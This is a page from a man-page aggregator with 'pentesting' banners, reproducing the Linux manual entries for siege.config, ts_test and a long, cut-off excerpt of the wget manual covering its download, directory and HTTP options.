             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2122 - Linux cli command siege.config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command siege.config and provides detailed information about the command siege.config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the siege.config.

NAME 🖥️ siege.config - builds a siege.conf template in the user’s home directory.

INTRODUCTION

siege’s default settings are stored in $HOME/.siege/siege.conf. This utility will create a new siege.conf if one does not already exist. Generally speaking you should not have to run this command with siege releases equal or later to 4.0.0.

At start up, siege checks for a $HOME/.siege/siege.conf. If one does not exist, siege will run this command to create a new one then read that file to configure itself.

INVOCATION

The format for invoking siege.config is this:

siege.config [no arguments]

AUTHOR

Jeffrey Fulmer, et al. <[email protected]>

Copyright Jeffrey Fulmer, et al. <[email protected]>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

AVAILABILITY

siege.config is distributed as part of siege

SEE ALSO

$_PROGRAM (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2123 - Linux cli command ts_test

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ts_test and provides detailed information about the command ts_test, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ts_test.

NAME 🖥️ ts_test 🖥️

A basic test routine for tslib.

SYNOPSIS

ts_test

DESCRIPTION

ts_test is used to manually test tslib using ts_read(). It draws a crosshair and mode buttons to the framebuffer and lets you test the behaviour of input samples with your configured filters applied, see ts.conf (5). Since it uses ts_read(), it supports single touch only.

-r, –rotate [value]

Rotate the screen. value is 0 for 0 degree, 1 for 90 degrees (CW), 2 for 180 degrees (upside down) and 3 for 270 degrees (CCW).

SEE ALSO

ts.conf (5), ts_test_mt (1), ts_calibrate (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2124 - Linux cli command wget

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wget and provides detailed information about the command wget, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wget.

NAME 🖥️ wget 🖥️

The non-interactive network downloader.

SYNOPSIS

wget [option]… [URL]…

DESCRIPTION

GNU Wget is a free utility for non-interactive download of files from the Web. It supports HTTP, HTTPS, and FTP protocols, as well as retrieval through HTTP proxies.

Wget is non-interactive, meaning that it can work in the background, while the user is not logged on. This allows you to start a retrieval and disconnect from the system, letting Wget finish the work. By contrast, most of the Web browsers require constant user’s presence, which can be a great hindrance when transferring a lot of data.

Wget can follow links in HTML, XHTML, and CSS pages, to create local versions of remote web sites, fully recreating the directory structure of the original site. This is sometimes referred to as “recursive downloading.” While doing that, Wget respects the Robot Exclusion Standard (/robots.txt). Wget can be instructed to convert the links in downloaded files to point at the local files, for offline viewing.

Wget has been designed for robustness over slow or unstable network connections; if a download fails due to a network problem, it will keep retrying until the whole file has been retrieved. If the server supports regetting, it will instruct the server to continue the download from where it left off.

OPTIONS

Option Syntax

Since Wget uses GNU getopt to process command-line arguments, every option has a long form along with the short one. Long options are more convenient to remember, but take time to type. You may freely mix different option styles, or specify options after the command-line arguments. Thus you may write:

wget -r –tries=10 http://fly.srk.fer.hr/ -o log

The space between the option accepting an argument and the argument may be omitted. Instead of -o log you can write -olog.

You may put several options that do not require arguments together, like:

wget -drc <URL>

This is completely equivalent to:

wget -d -r -c <URL>

Since the options can be specified after the arguments, you may terminate them with . So the following will try to download URL -x, reporting failure to log:

wget -o log – -x

The options that accept comma-separated lists all respect the convention that specifying an empty list clears its value. This can be useful to clear the .wgetrc settings. For instance, if your .wgetrc sets exclude_directories to /cgi-bin, the following example will first reset it, and then set it to exclude /~nobody and /~somebody. You can also clear the lists in .wgetrc.

wget -X "" -X /~nobody,/~somebody

Most options that do not accept arguments are boolean options, so named because their state can be captured with a yes-or-no (“boolean”) variable. For example, –follow-ftp tells Wget to follow FTP links from HTML files and, on the other hand, –no-glob tells it not to perform file globbing on FTP URLs. A boolean option is either affirmative or negative (beginning with –no). All such options share several properties.

Unless stated otherwise, it is assumed that the default behavior is the opposite of what the option accomplishes. For example, the documented existence of –follow-ftp assumes that the default is to not follow FTP links from HTML pages.

Affirmative options can be negated by prepending the –no- to the option name; negative options can be negated by omitting the –no- prefix. This might seem superfluous—if the default for an affirmative option is to not do something, then why provide a way to explicitly turn it off? But the startup file may in fact change the default. For instance, using follow_ftp = on in .wgetrc makes Wget follow FTP links by default, and using –no-follow-ftp is the only way to restore the factory default from the command line.

Basic Startup Options

-V

–version

Display the version of Wget.

-h

–help

Print a help message describing all of Wget’s command-line options.

-b

–background

Go to background immediately after startup. If no output file is specified via the -o, output is redirected to wget-log.

-e command

–execute command

Execute command as if it were a part of .wgetrc. A command thus invoked will be executed after the commands in .wgetrc, thus taking precedence over them. If you need to specify more than one wgetrc command, use multiple instances of -e.

Logging and Input File Options

-o logfile

–output-file=logfile

Log all messages to logfile. The messages are normally reported to standard error.

-a logfile

–append-output=logfile

Append to logfile. This is the same as -o, only it appends to logfile instead of overwriting the old log file. If logfile does not exist, a new file is created.

-d

–debug

Turn on debug output, meaning various information important to the developers of Wget if it does not work properly. Your system administrator may have chosen to compile Wget without debug support, in which case -d will not work. Please note that compiling with debug support is always safe—Wget compiled with the debug support will not print any debug info unless requested with -d.

-q

–quiet

Turn off Wget’s output.

-v

–verbose

Turn on verbose output, with all the available data. The default output is verbose.

-nv

–no-verbose

Turn off verbose without being completely quiet (use -q for that), which means that error messages and basic information still get printed.

–report-speed=type
Output bandwidth as type. The only accepted value is bits.

-i file

–input-file=file

Read URLs from a local or external file. If - is specified as file, URLs are read from the standard input. (Use ./- to read from a file literally named -.) If this function is used, no URLs need be present on the command line. If there are URLs both on the command line and in an input file, those on the command lines will be the first ones to be retrieved. If –force-html is not specified, then file should consist of a series of URLs, one per line. However, if you specify –force-html, the document will be regarded as html. In that case you may have problems with relative links, which you can solve either by adding <base href="url"> to the documents or by specifying **–base=**url on the command line. If the file is an external one, the document will be automatically treated as html if the Content-Type matches text/html. Furthermore, the file’s location will be implicitly used as base href if none was specified.

–input-metalink=file
Downloads files covered in local Metalink file. Metalink version 3 and 4 are supported.

–keep-badhash
Keeps downloaded Metalink’s files with a bad hash. It appends .badhash to the name of Metalink’s files which have a checksum mismatch, except without overwriting existing files.

–metalink-over-http
Issues HTTP HEAD request instead of GET and extracts Metalink metadata from response headers. Then it switches to Metalink download. If no valid Metalink metadata is found, it falls back to ordinary HTTP download. Enables Content-Type: application/metalink4+xml files download/processing.

–metalink-index=number
Set the Metalink application/metalink4+xml metaurl ordinal NUMBER. From 1 to the total number of “application/metalink4+xml” available. Specify 0 or inf to choose the first good one. Metaurls, such as those from a –metalink-over-http, may have been sorted by priority key’s value; keep this in mind to choose the right NUMBER.

–preferred-location
Set preferred location for Metalink resources. This has effect if multiple resources with same priority are available.

–xattr
Enable use of file system’s extended attributes to save the original URL and the Referer HTTP header value if used. Be aware that the URL might contain private information like access tokens or credentials.

-F

–force-html

When input is read from a file, force it to be treated as an HTML file. This enables you to retrieve relative links from existing HTML files on your local disk, by adding <base href="url"> to HTML, or using the –base command-line option.

-B URL

–base=URL

Resolves relative links using URL as the point of reference, when reading links from an HTML file specified via the -i/–input-file option (together with –force-html, or when the input file was fetched remotely from a server describing it as HTML). This is equivalent to the presence of a BASE tag in the HTML input file, with URL as the value for the href attribute. For instance, if you specify http://foo/bar/a.html for URL, and Wget reads ../baz/b.html from the input file, it would be resolved to http://foo/baz/b.html.

–config=FILE
Specify the location of a startup file you wish to use instead of the default one(s). Use –no-config to disable reading of config files. If both –config and –no-config are given, –no-config is ignored.

–rejected-log=logfile
Logs all URL rejections to logfile as comma separated values. The values include the reason of rejection, the URL and the parent URL it was found in.

Download Options

–bind-address=ADDRESS
When making client TCP/IP connections, bind to ADDRESS on the local machine. ADDRESS may be specified as a hostname or IP address. This option can be useful if your machine is bound to multiple IPs.

–bind-dns-address=ADDRESS
[libcares only] This address overrides the route for DNS requests. If you ever need to circumvent the standard settings from /etc/resolv.conf, this option together with –dns-servers is your friend. ADDRESS must be specified either as IPv4 or IPv6 address. Wget needs to be built with libcares for this option to be available.

–dns-servers=ADDRESSES
[libcares only] The given address(es) override the standard nameserver addresses, e.g. as configured in /etc/resolv.conf. ADDRESSES may be specified either as IPv4 or IPv6 addresses, comma-separated. Wget needs to be built with libcares for this option to be available.

-t number

–tries=number

Set number of tries to number. Specify 0 or inf for infinite retrying. The default is to retry 20 times, with the exception of fatal errors like “connection refused” or “not found” (404), which are not retried.

-O file

–output-document=file

The documents will not be written to the appropriate files, but all will be concatenated together and written to file. If - is used as file, documents will be printed to standard output, disabling link conversion. (Use ./- to print to a file literally named -.) Use of -O is not intended to mean simply “use the name file instead of the one in the URL;” rather, it is analogous to shell redirection: wget -O file http://foo is intended to work like wget -O - http://foo > file; file will be truncated immediately, and all downloaded content will be written there. For this reason, -N (for timestamp-checking) is not supported in combination with -O: since file is always newly created, it will always have a very new timestamp. A warning will be issued if this combination is used. Similarly, using -r or -p with -O may not work as you expect: Wget won’t just download the first file to file and then download the rest to their normal names: all downloaded content will be placed in file. This was disabled in version 1.11, but has been reinstated (with a warning) in 1.11.2, as there are some cases where this behavior can actually have some use. A combination with -nc is only accepted if the given output file does not exist. Note that a combination with -k is only permitted when downloading a single document, as in that case it will just convert all relative URIs to external ones; -k makes no sense for multiple URIs when they’re all being downloaded to a single file; -k can be used only when the output is a regular file.

-nc

–no-clobber

If a file is downloaded more than once in the same directory, Wget’s behavior depends on a few options, including -nc. In certain cases, the local file will be clobbered, or overwritten, upon repeated download. In other cases it will be preserved. When running Wget without -N, -nc, -r, or -p, downloading the same file in the same directory will result in the original copy of file being preserved and the second copy being named file**.1**. If that file is downloaded yet again, the third copy will be named file**.2**, and so on. (This is also the behavior with -nd, even if -r or -p are in effect.) When -nc is specified, this behavior is suppressed, and Wget will refuse to download newer copies of file. Therefore, “no-clobber” is actually a misnomer in this mode—it’s not clobbering that’s prevented (as the numeric suffixes were already preventing clobbering), but rather the multiple version saving that’s prevented. When running Wget with -r or -p, but without -N, -nd, or -nc, re-downloading a file will result in the new copy simply overwriting the old. Adding -nc will prevent this behavior, instead causing the original version to be preserved and any newer copies on the server to be ignored. When running Wget with -N, with or without -r or -p, the decision as to whether or not to download a newer copy of a file depends on the local and remote timestamp and size of the file. -nc may not be specified at the same time as -N. A combination with -O/–output-document is only accepted if the given output file does not exist. Note that when -nc is specified, files with the suffixes .html or .htm will be loaded from the local disk and parsed as if they had been retrieved from the Web.

–backups=backups
Before (over)writing a file, back up an existing file by adding a .1 suffix (_1 on VMS) to the file name. Such backup files are rotated to .2, .3, and so on, up to backups (and lost beyond that).

–no-netrc
Do not try to obtain credentials from .netrc file. By default .netrc file is searched for credentials in case none have been passed on command line and authentication is required.

-c

–continue

Continue getting a partially-downloaded file. This is useful when you want to finish up a download started by a previous instance of Wget, or by another program. For instance: wget -c ftp://sunsite.doc.ic.ac.uk/ls-lR.Z If there is a file named ls-lR.Z in the current directory, Wget will assume that it is the first portion of the remote file, and will ask the server to continue the retrieval from an offset equal to the length of the local file. Note that you don’t need to specify this option if you just want the current invocation of Wget to retry downloading a file should the connection be lost midway through. This is the default behavior. -c only affects resumption of downloads started prior to this invocation of Wget, and whose local files are still sitting around. Without -c, the previous example would just download the remote file to ls-lR.Z.1, leaving the truncated ls-lR.Z file alone. If you use -c on a non-empty file, and the server does not support continued downloading, Wget will restart the download from scratch and overwrite the existing file entirely. Beginning with Wget 1.7, if you use -c on a file which is of equal size as the one on the server, Wget will refuse to download the file and print an explanatory message. The same happens when the file is smaller on the server than locally (presumably because it was changed on the server since your last download attempt)—because “continuing” is not meaningful, no download occurs. On the other side of the coin, while using -c, any file that’s bigger on the server than locally will be considered an incomplete download and only (length(remote) - length(local)) bytes will be downloaded and tacked onto the end of the local file. This behavior can be desirable in certain cases—for instance, you can use wget -c to download just the new portion that’s been appended to a data collection or log file. However, if the file is bigger on the server because it’s been changed, as opposed to just appended to, you’ll end up with a garbled file. Wget has no way of verifying that the local file is really a valid prefix of the remote file. You need to be especially careful of this when using -c in conjunction with -r, since every file will be considered as an “incomplete download” candidate. Another instance where you’ll get a garbled file if you try to use -c is if you have a lame HTTP proxy that inserts a “transfer interrupted” string into the local file. In the future a “rollback” option may be added to deal with this case. Note that -c only works with FTP servers and with HTTP servers that support the Range header.

–start-pos=OFFSET
Start downloading at zero-based position OFFSET. Offset may be expressed in bytes, kilobytes with the `k’ suffix, or megabytes with the `m’ suffix, etc. –start-pos has higher precedence over –continue. When –start-pos and –continue are both specified, wget will emit a warning then proceed as if –continue was absent. Server support for continued download is required, otherwise –start-pos cannot help. See -c for details.

–progress=type
Select the type of the progress indicator you wish to use. Legal indicators are “dot” and “bar”. The “bar” indicator is used by default. It draws an ASCII progress bar graphics (a.k.a “thermometer” display) indicating the status of retrieval. If the output is not a TTY, the “dot” bar will be used by default. Use –progress=dot to switch to the “dot” display. It traces the retrieval by printing dots on the screen, each dot representing a fixed amount of downloaded data. The progress type can also take one or more parameters. The parameters vary based on the type selected. Parameters to type are passed by appending them to the type sperated by a colon (:) like this: **–progress=type:parameter1:**parameter2. When using the dotted retrieval, you may set the style by specifying the type as **dot:**style. Different styles assign different meaning to one dot. With the default style each dot represents 1K, there are ten dots in a cluster and 50 dots in a line. The binary style has a more “computer”-like orientation—8K dots, 16-dots clusters and 48 dots per line (which makes for 384K lines). The mega style is suitable for downloading large files—each dot represents 64K retrieved, there are eight dots in a cluster, and 48 dots on each line (so each line contains 3M). If mega is not enough then you can use the giga style—each dot represents 1M retrieved, there are eight dots in a cluster, and 32 dots on each line (so each line contains 32M). With –progress=bar, there are currently two possible parameters, force and noscroll. When the output is not a TTY, the progress bar always falls back to “dot”, even if –progress=bar was passed to Wget during invocation. This behaviour can be overridden and the “bar” output forced by using the “force” parameter as –progress=bar:force. By default, the bar style progress bar scroll the name of the file from left to right for the file being downloaded if the filename exceeds the maximum length allotted for its display. In certain cases, such as with –progress=bar:force, one may not want the scrolling filename in the progress bar. By passing the “noscroll” parameter, Wget can be forced to display as much of the filename as possible without scrolling through it. Note that you can set the default style using the progress command in .wgetrc. That setting may be overridden from the command line. For example, to force the bar output without scrolling, use –progress=bar:force:noscroll.

–show-progress
Force wget to display the progress bar in any verbosity. By default, wget only displays the progress bar in verbose mode. One may however, want wget to display the progress bar on screen in conjunction with any other verbosity modes like –no-verbose or –quiet. This is often a desired a property when invoking wget to download several small/large files. In such a case, wget could simply be invoked with this parameter to get a much cleaner output on the screen. This option will also force the progress bar to be printed to stderr when used alongside the –output-file option.

-N

–timestamping

Turn on time-stamping.

–no-if-modified-since
Do not send If-Modified-Since header in -N mode. Send preliminary HEAD request instead. This has only effect in -N mode.

–no-use-server-timestamps
Don’t set the local file’s timestamp by the one on the server. By default, when a file is downloaded, its timestamps are set to match those from the remote file. This allows the use of –timestamping on subsequent invocations of wget. However, it is sometimes useful to base the local file’s timestamp on when it was actually downloaded; for that purpose, the –no-use-server-timestamps option has been provided.

-S

–server-response

Print the headers sent by HTTP servers and responses sent by FTP servers.

–spider
When invoked with this option, Wget will behave as a Web spider, which means that it will not download the pages, just check that they are there. For example, you can use Wget to check your bookmarks: wget –spider –force-html -i bookmarks.html This feature needs much more work for Wget to get close to the functionality of real web spiders.

-T seconds

–timeout=seconds

Set the network timeout to seconds seconds. This is equivalent to specifying –dns-timeout, –connect-timeout, and –read-timeout, all at the same time. When interacting with the network, Wget can check for timeout and abort the operation if it takes too long. This prevents anomalies like hanging reads and infinite connects. The only timeout enabled by default is a 900-second read timeout. Setting a timeout to 0 disables it altogether. Unless you know what you are doing, it is best not to change the default timeout settings. All timeout-related options accept decimal values, as well as subsecond values. For example, 0.1 seconds is a legal (though unwise) choice of timeout. Subsecond timeouts are useful for checking server response times or for testing network latency.

–dns-timeout=seconds
Set the DNS lookup timeout to seconds seconds. DNS lookups that don’t complete within the specified time will fail. By default, there is no timeout on DNS lookups, other than that implemented by system libraries.

–connect-timeout=seconds
Set the connect timeout to seconds seconds. TCP connections that take longer to establish will be aborted. By default, there is no connect timeout, other than that implemented by system libraries.

–read-timeout=seconds
Set the read (and write) timeout to seconds seconds. The “time” of this timeout refers to idle time: if, at any point in the download, no data is received for more than the specified number of seconds, reading fails and the download is restarted. This option does not directly affect the duration of the entire download. Of course, the remote server may choose to terminate the connection sooner than this option requires. The default read timeout is 900 seconds.

–limit-rate=amount
Limit the download speed to amount bytes per second. Amount may be expressed in bytes, kilobytes with the k suffix, or megabytes with the m suffix. For example, –limit-rate=20k will limit the retrieval rate to 20KB/s. This is useful when, for whatever reason, you don’t want Wget to consume the entire available bandwidth. This option allows the use of decimal numbers, usually in conjunction with power suffixes; for example, –limit-rate=2.5k is a legal value. Note that Wget implements the limiting by sleeping the appropriate amount of time after a network read that took less time than specified by the rate. Eventually this strategy causes the TCP transfer to slow down to approximately the specified rate. However, it may take some time for this balance to be achieved, so don’t be surprised if limiting the rate doesn’t work well with very small files.

-w seconds

–wait=seconds

Wait the specified number of seconds between the retrievals. Use of this option is recommended, as it lightens the server load by making the requests less frequent. Instead of in seconds, the time can be specified in minutes using the m suffix, in hours using h suffix, or in days using d suffix. Specifying a large value for this option is useful if the network or the destination host is down, so that Wget can wait long enough to reasonably expect the network error to be fixed before the retry. The waiting interval specified by this function is influenced by --random-wait, which see.

–waitretry=seconds
If you don’t want Wget to wait between every retrieval, but only between retries of failed downloads, you can use this option. Wget will use linear backoff, waiting 1 second after the first failure on a given file, then waiting 2 seconds after the second failure on that file, up to the maximum number of seconds you specify. By default, Wget will assume a value of 10 seconds.

–random-wait
Some web sites may perform log analysis to identify retrieval programs such as Wget by looking for statistically significant similarities in the time between requests. This option causes the time between requests to vary between 0.5 and 1.5 * wait seconds, where wait was specified using the –wait option, in order to mask Wget’s presence from such analysis. A 2001 article in a publication devoted to development on a popular consumer platform provided code to perform this analysis on the fly. Its author suggested blocking at the class C address level to ensure automated retrieval programs were blocked despite changing DHCP-supplied addresses. The –random-wait option was inspired by this ill-advised recommendation to block many unrelated users from a web site due to the actions of one.

–no-proxy
Don’t use proxies, even if the appropriate *_proxy environment variable is defined.

-Q quota

–quota=quota

Specify download quota for automatic retrievals. The value can be specified in bytes (default), kilobytes (with k suffix), or megabytes (with m suffix). Note that quota will never affect downloading a single file. So if you specify wget -Q10k https://example.com/ls-lR.gz, all of the ls-lR.gz will be downloaded. The same goes even when several URLs are specified on the command-line. The quota is checked only at the end of each downloaded file, so it will never result in a partially downloaded file. Thus you may safely type wget -Q2m -i sites—download will be aborted after the file that exhausts the quota is completely downloaded. Setting quota to 0 or to inf unlimits the download quota.

–no-dns-cache
Turn off caching of DNS lookups. Normally, Wget remembers the IP addresses it looked up from DNS so it doesn’t have to repeatedly contact the DNS server for the same (typically small) set of hosts it retrieves from. This cache exists in memory only; a new Wget run will contact DNS again. However, it has been reported that in some situations it is not desirable to cache host names, even for the duration of a short-running application like Wget. With this option Wget issues a new DNS lookup (more precisely, a new call to gethostbyname or getaddrinfo) each time it makes a new connection. Please note that this option will not affect caching that might be performed by the resolving library or by an external caching layer, such as NSCD. If you don’t understand exactly what this option does, you probably won’t need it.

–restrict-file-names=modes
Change which characters found in remote URLs must be escaped during generation of local filenames. Characters that are restricted by this option are escaped, i.e. replaced with %HH, where HH is the hexadecimal number that corresponds to the restricted character. This option may also be used to force all alphabetical cases to be either lower- or uppercase. By default, Wget escapes the characters that are not valid or safe as part of file names on your operating system, as well as control characters that are typically unprintable. This option is useful for changing these defaults, perhaps because you are downloading to a non-native partition, or because you want to disable escaping of the control characters, or you want to further restrict characters to only those in the ASCII range of values. The modes are a comma-separated set of text values. The acceptable values are unix, windows, nocontrol, ascii, lowercase, and uppercase. The values unix and windows are mutually exclusive (one will override the other), as are lowercase and uppercase. Those last are special cases, as they do not change the set of characters that would be escaped, but rather force local file paths to be converted either to lower- or uppercase. When “unix” is specified, Wget escapes the character / and the control characters in the ranges 0–31 and 128–159. This is the default on Unix-like operating systems. When “windows” is given, Wget escapes the characters ****, |, /, :, ?, ", *, <, >, and the control characters in the ranges 0–31 and 128–159. In addition to this, Wget in Windows mode uses + instead of : to separate host and port in local file names, and uses @ instead of ? to separate the query portion of the file name from the rest. Therefore, a URL that would be saved as www.xemacs.org:4300/search.pl?input=blah in Unix mode would be saved as www.xemacs.org+4300/search.pl@input=blah in Windows mode. This mode is the default on Windows. If you specify nocontrol, then the escaping of the control characters is also switched off. This option may make sense when you are downloading URLs whose names contain UTF-8 characters, on a system which can save and display filenames in UTF-8 (some possible byte values used in UTF-8 byte sequences fall in the range of values designated by Wget as “controls”). The ascii mode is used to specify that any bytes whose values are outside the range of ASCII characters (that is, greater than 127) shall be escaped. This can be useful when saving filenames whose encoding does not match the one used locally.

-4

–inet4-only

-6

–inet6-only

Force connecting to IPv4 or IPv6 addresses. With –inet4-only or -4, Wget will only connect to IPv4 hosts, ignoring AAAA records in DNS, and refusing to connect to IPv6 addresses specified in URLs. Conversely, with –inet6-only or -6, Wget will only connect to IPv6 hosts and ignore A records and IPv4 addresses. Neither options should be needed normally. By default, an IPv6-aware Wget will use the address family specified by the host’s DNS record. If the DNS responds with both IPv4 and IPv6 addresses, Wget will try them in sequence until it finds one it can connect to. (Also see --prefer-family option described below.) These options can be used to deliberately force the use of IPv4 or IPv6 address families on dual family systems, usually to aid debugging or to deal with broken network configuration. Only one of –inet6-only and –inet4-only may be specified at the same time. Neither option is available in Wget compiled without IPv6 support.

–prefer-family=none/IPv4/IPv6
When given a choice of several addresses, connect to the addresses with specified address family first. The address order returned by DNS is used without change by default. This avoids spurious errors and connect attempts when accessing hosts that resolve to both IPv6 and IPv4 addresses from IPv4 networks. For example, www.kame.net resolves to 2001:200:0:8002:203:47ff:fea5:3085 and to 203.178.141.194. When the preferred family is IPv4, the IPv4 address is used first; when the preferred family is IPv6, the IPv6 address is used first; if the specified value is none, the address order returned by DNS is used without change. Unlike -4 and -6, this option doesn’t inhibit access to any address family, it only changes the order in which the addresses are accessed. Also note that the reordering performed by this option is stable—it doesn’t affect order of addresses of the same family. That is, the relative order of all IPv4 addresses and of all IPv6 addresses remains intact in all cases.

–retry-connrefused
Consider “connection refused” a transient error and try again. Normally Wget gives up on a URL when it is unable to connect to the site because failure to connect is taken as a sign that the server is not running at all and that retries would not help. This option is for mirroring unreliable sites whose servers tend to disappear for short periods of time.

–user=user

–password=password

Specify the username user and password password for both FTP and HTTP file retrieval. These parameters can be overridden using the –ftp-user and –ftp-password options for FTP connections and the –http-user and –http-password options for HTTP connections.

–ask-password
Prompt for a password for each connection established. Cannot be specified when –password is being used, because they are mutually exclusive.

–use-askpass=command
Prompt for a user and password using the specified command. If no command is specified then the command in the environment variable WGET_ASKPASS is used. If WGET_ASKPASS is not set then the command in the environment variable SSH_ASKPASS is used. You can set the default command for use-askpass in the .wgetrc. That setting may be overridden from the command line.

–no-iri
Turn off internationalized URI (IRI) support. Use –iri to turn it on. IRI support is activated by default. You can set the default state of IRI support using the iri command in .wgetrc. That setting may be overridden from the command line.

–local-encoding=encoding
Force Wget to use encoding as the default system encoding. That affects how Wget converts URLs specified as arguments from locale to UTF-8 for IRI support. Wget use the function nl_langinfo() and then the CHARSET environment variable to get the locale. If it fails, ASCII is used. You can set the default local encoding using the local_encoding command in .wgetrc. That setting may be overridden from the command line.

–remote-encoding=encoding
Force Wget to use encoding as the default remote server encoding. That affects how Wget converts URIs found in files from remote encoding to UTF-8 during a recursive fetch. This options is only useful for IRI support, for the interpretation of non-ASCII characters. For HTTP, remote encoding can be found in HTTP Content-Type header and in HTML Content-Type http-equiv meta tag. You can set the default encoding using the remoteencoding command in .wgetrc. That setting may be overridden from the command line.

–unlink
Force Wget to unlink file instead of clobbering existing file. This option is useful for downloading to the directory with hardlinks.

Directory Options

-nd

–no-directories

Do not create a hierarchy of directories when retrieving recursively. With this option turned on, all files will get saved to the current directory, without clobbering (if a name shows up more than once, the filenames will get extensions .n).

-x

–force-directories

The opposite of -nd—create a hierarchy of directories, even if one would not have been created otherwise. E.g. wget -x http://fly.srk.fer.hr/robots.txt will save the downloaded file to fly.srk.fer.hr/robots.txt.

-nH

–no-host-directories

Disable generation of host-prefixed directories. By default, invoking Wget with -r http://fly.srk.fer.hr/ will create a structure of directories beginning with fly.srk.fer.hr/. This option disables such behavior.

–protocol-directories
Use the protocol name as a directory component of local file names. For example, with this option, wget -r http://host will save to http/host/… rather than just to host/….

–cut-dirs=number
Ignore number directory components. This is useful for getting a fine-grained control over the directory where recursive retrieval will be saved. Take, for example, the directory at ftp://ftp.xemacs.org/pub/xemacs/. If you retrieve it with -r, it will be saved locally under ftp.xemacs.org/pub/xemacs/. While the -nH option can remove the ftp.xemacs.org/ part, you are still stuck with pub/xemacs. This is where –cut-dirs comes in handy; it makes Wget not “see” number remote directory components. Here are several examples of how –cut-dirs option works. No options -> ftp.xemacs.org/pub/xemacs/ -nH -> pub/xemacs/ -nH –cut-dirs=1 -> xemacs/ -nH –cut-dirs=2 -> . –cut-dirs=1 -> ftp.xemacs.org/xemacs/ … If you just want to get rid of the directory structure, this option is similar to a combination of -nd and -P. However, unlike -nd, –cut-dirs does not lose with subdirectories—for instance, with -nH –cut-dirs=1, a beta/ subdirectory will be placed to xemacs/beta, as one would expect.

-P prefix

–directory-prefix=prefix

Set directory prefix to prefix. The directory prefix is the directory where all other files and subdirectories will be saved to, i.e. the top of the retrieval tree. The default is . (the current directory).

HTTP Options

–default-page=name
Use name as the default file name when it isn’t known (i.e., for URLs that end in a slash), instead of index.html.

-E

–adjust-extension

If a file of type application/xhtml+xml or text/html is downloaded and the URL does not end with the regexp \[Hh][Tt][Mm][Ll]?, this option will cause the suffix .html to be appended to the local filename. This is useful, for instance, when you’re mirroring a remote site that uses .asp pages, but you want the mirrored pages to be viewable on your stock Apache server. Another good use for this is when you’re downloading CGI-generated materials. A URL like http://site.com/article.cgi?25 will be saved as article.cgi?25.html. Note that filenames changed in this way will be re-downloaded every time you re-mirror a site, because Wget can’t tell that the local X.html file corresponds to remote URL X (since it doesn’t yet know that the URL produces output of type text/html or application/xhtml+xml. As of version 1.12, Wget will also ensure that any downloaded files of type text/css end in the suffix .css, and the option was renamed from –html-extension, to better reflect its new behavior. The old option name is still acceptable, but should now be considered deprecated. As of version 1.19.2, Wget will also ensure that any downloaded files with a Content-Encoding of br, compress, deflate or gzip end in the suffix .br, .Z, .zlib and .gz respectively. At some point in the future, this option may well be expanded to include suffixes for other types of content, including content types that are not parsed by Wget.

–http-user=user

–http-password=password

